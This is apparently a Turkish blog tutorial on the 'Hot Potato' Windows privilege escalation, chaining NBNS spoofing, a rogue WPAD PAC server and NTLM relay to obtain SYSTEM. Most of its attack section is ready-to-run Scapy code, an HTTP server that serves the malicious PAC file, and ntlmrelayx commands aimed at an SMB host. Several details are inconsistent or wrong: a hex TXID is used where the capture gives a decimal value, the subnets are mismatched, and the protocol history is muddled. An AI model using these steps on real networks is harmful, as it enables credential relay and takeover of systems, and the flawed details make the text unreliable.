İleri Seviye Yetki Yükseltmede Network
2016 civarlarında Dominic White yeni bir yöntem tanıttı. Bu yöntemin ismi "Hot Potato" idi. Amaç burada Windows sistemini minimum yetkiler ile author\system yapmaktı. Hot Potato aslında öyle tahmin edebileceğiniz gibi local açıklıkları falan kullanmıyordu. Garip değil mi? Bir yetki yükseltme ve local değil? Tahmin edebiliyorum ama bu zafiyet bana kalırsa bir kernel exploit kadar değerli bir zafiyet idi. Hot Potato, Windows'un ağ protokollerindeki bir açıktan yararlanarak yetkiyi istediğiniz bilgisayara yansıtıyordu. Bunun için birkaç spoofing yöntemi kullanıyordu: NTLM relay, NBNS spoofing ve vs...
Basit bir açıklama yapmak gerekirse: Windows'ta normal haklarla çalışırsınız ama Hot Potato ağdaki bazı protokoller aracılığıyla SYSTEM haklarını saldırganın sızdığı PC'ye yansıtıyordu.
Windows Ağ Protokolleri
NBNS
NBNS, Windows makinelerde NetBIOS isimlerini IP adresine çevirmek için kullanılan UDP kullanan bir hizmettir. DNS gibi çalışır ama domain değil, MLan’daki cihazların IP listesini tutar.
IP Address NetBIOS Name Server User MAC Address 192.168.56.101 WIN10-VM01 Administrator 08:00:27:12:34:56 192.168.56.102 SERVER2012R2 SYSTEM 08:00:27:65:43:21 192.168.56.103 WIN10-VM02 User1 08:00:27:AB:CD:EF 192.168.56.104 DC01 Administrator 08:00:27:DE:AD:BE 192.168.56.105 PRINTSRV01 SYSTEM 08:00:27:FE:ED:FA
NTLM
NTLM kimlik doğrulama protokolüdür. Eskiden adı LAN idi, sonra daha güvenlisi NTLM, şimdi ise Kerberos yerini aldı. Kullanıcı giriş yapmaya çalıştığında sunucu kullanıcıya rasgele bir challenge gönderir. Kullanıcının cihazı bu challenge’ı kendi şifre hash’i ile şifreleyip cevap yollar.
Kullanıcı parolayı girer: "Myp@ss" | İstemci hesaplar: NT Hash = 0xAAAABBBB | Sunucu gönderir: ServerChallenge = 0x1111 | İstemci ekler: ClientChallenge = 0x2222 | İstemci üretir: Response = H(0xAAAABBBB + 0x1111 + 0x2222) = 0xDEAD | İstemci -> Sunucu: username + Response(0xDEAD) | Sunucu hesaplar kendi BeklenenResponse, eşleşirse => Access Granted
WPAD
WPAD = Web Proxy Auto-Discovery
Windows ve bazı tarayıcılar kullanır. Ağda bir proxy var mı diye otomatik bakar. Eğer var ise HTTP trafiği otomatik olarak bu proxy’den devam eder.
İşin Zevk Alıcı Kısmı
NBNS Spoofing
[NBNS] Sorgu Gönderildi -> Name: MACHINE01, TXID: ??? [NBNS] MACHINE01 yanıt veriyor -> IP: 192.168.1.10 [NBNS] MACHINE02 yanıt veriyor -> IP: 192.168.1.11 Sıradan bir NBNS akışı Normal olarak LAN’daki gerçek makineler yanıt verir, her makineye yanıt verir ve alır, broadcast gibi çalışır. Bizim amacımız saldırgan olarak sahte yanıt vermek: [NBNS] ATTACKER yanıt veriyor -> IP: 192.168.1.99, TXID: ???
TXID’yi bulmak için Wireshark’tan analiz yapmalıyız:
1 0.000001 192.168.56.101 192.168.56.102 NBNS 74 NBNS Name Query NB10:WIN10-VM01<00>, TXID=0x1a2b 2 0.000345 192.168.56.102 192.168.56.101 NBNS 90 NBNS Name Response NB10:WIN10-VM01<00>, TXID=0x1a2b ... 11 0.004000 192.168.56.101 192.168.56.255 UDP 74 NBNS Name Query NB10:PRINTSRV01<00>, TXID=45321 12 0.004100 192.168.56.105 192.168.56.101 UDP 90 NBNS Name Response NB10:PRINTSRV01<00>, TXID=45321
İşte TXID: 45321
[NBNS] ATTACKER yanıt veriyor -> IP: 192.168.1.99, TXID: 45321
Windows’ta WPAD her zaman açık değildir. Bunu aktifleştirmek için bir sorgu gerekir. Bu sorgu NBNS’e atıldığında NBNS WPAD’ı uyandırır ve WPAD’de işlem yapmamızı sağlar.
[WPAD] WPAD sorgusu gönderildi -> URL: http://wpad/wpad.dat
Şimdi bir PAC dosyası zamanı. Bu vesile ile PAC dosyasını göndererek proxy’i kendi IP’mize yönlendireceğiz:
[NBNS] Sorgu gönderildi -> Name: MACHINE01, TXID: 45321 [NBNS] Normal LAN yanıtları: MACHINE01 -> IP: 192.168.1.10 MACHINE02 -> IP: 192.168.1.11 [NBNS] Saldırgan yanıtı -> ATTACKER -> IP: 192.168.1.99, TXID: 45321 [INFO] Hedef MACHINE01, sahte yanıtı kabul etti. Trafik ATTACKER'e yönlendiriliyor. [WPAD] WPAD sorgusu atıldı -> URL: http://wpad/wpad.dat [WPAD] Sahte yanıt -> PAC dosyası verildi: function FindProxyForURL(url, host) { return "PROXY 192.168.1.99:8080"; } [INFO] Hedef HTTP trafiği artık ATTACKER üzerinden geçecek.
Bingo, artık proxy bizim elimizde. Artık proxy ile NTLM paketlerini görebiliyoruz, NTLM paketlerini yakala ve tokeni al. NTLM relay ile kendi IP’ne yansıt. Yakaladığın NTLM tokenini veya hash’i SMB, WinRM, HTTP gibi başka bir servise yönlendirebilirsin. Amaç: hedefin SYSTEM token’ını kendi süreçlerine aktarmak.
- Hedef HTTP üzerinden bize girdi → token yakalandı
- SMB üzerinden token’i kullan → SYSTEM yetkisiyle bir süreç başlat
Zincir: NBNS spoof → WPAD sorgusu → PAC yanıtı → HTTP trafiği bize → NTLM yakala → Relay → SYSTEM token → SYSTEM süreci oluştur
Pratik Komutlar & Scapy Örnekleri
Adım 1: NBNS Sorgularını Dinleme
from scapy.all import * def nbns_sniffer(pkt): if pkt.haslayer(UDP) and pkt[UDP].dport == 137: print(f"NBNS Sorgusu: {pkt.summary()}") sniff(filter="udp port 137", prn=nbns_sniffer)
Adım 2: Sahte NBNS Yanıtı Gönderme
from scapy.layers.inet import IP, UDP from scapy.layers.netbios import NBNSQueryResponse response = IP(dst="192.168.56.101")/UDP(sport=137, dport=137)/NBNSQueryResponse(NAME="PRINTSRV01", TXID=0x45321, RDATA="192.168.1.99") send(response)
Adım 3: WPAD PAC Dosyası Gönderme
from http.server import HTTPServer, BaseHTTPRequestHandler class PACHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','application/x-ns-proxy-autoconfig') self.end_headers() pac = 'function FindProxyForURL(url, host) { return "PROXY 192.168.1.99:8080"; }' self.wfile.write(pac.encode()) httpd = HTTPServer(('0.0.0.0', 80), PACHandler) httpd.serve_forever()
Adım 4: NTLM Relay ile SYSTEM Yetkisi Alma
ntlmrelayx.py -smb2support -t smb://192.168.56.102
Impacket ve ntlmrelayx Yükleme Adımları
git clone https://github.com/SecureAuthCorp/impacket.git cd impacket pip install . # veya python3 setup.py install cd examples python3 ntlmrelayx.py -h
Neden direk NTLM relay değil?
SMB üzerinden doğrudan NTLM relay yapmaya çalışırsan, Windows’un “loopback check” veya SMB signing gibi güvenlik mekanizmaları yüzünden işlem başarısız olur. Yani kendinle veya aynı ağdaki başka bir sisteme direkt olarak relay etmek engellenebilir. Ama HTTP üzerinden, özellikle WPAD + PAC dosyası üzerinden yönlendirilmiş proxy trafiğinde, Windows bu engellemeleri uygulamaz. Bu yüzden HTTP trafiğini kendi kontrolündeki proxy’ye yönlendirip NTLM paketlerini yakalayabilir ve sonra bunu SMB’ye veya başka servislere sorunsuz şekilde relay edebilirsin.
Yorum Gönder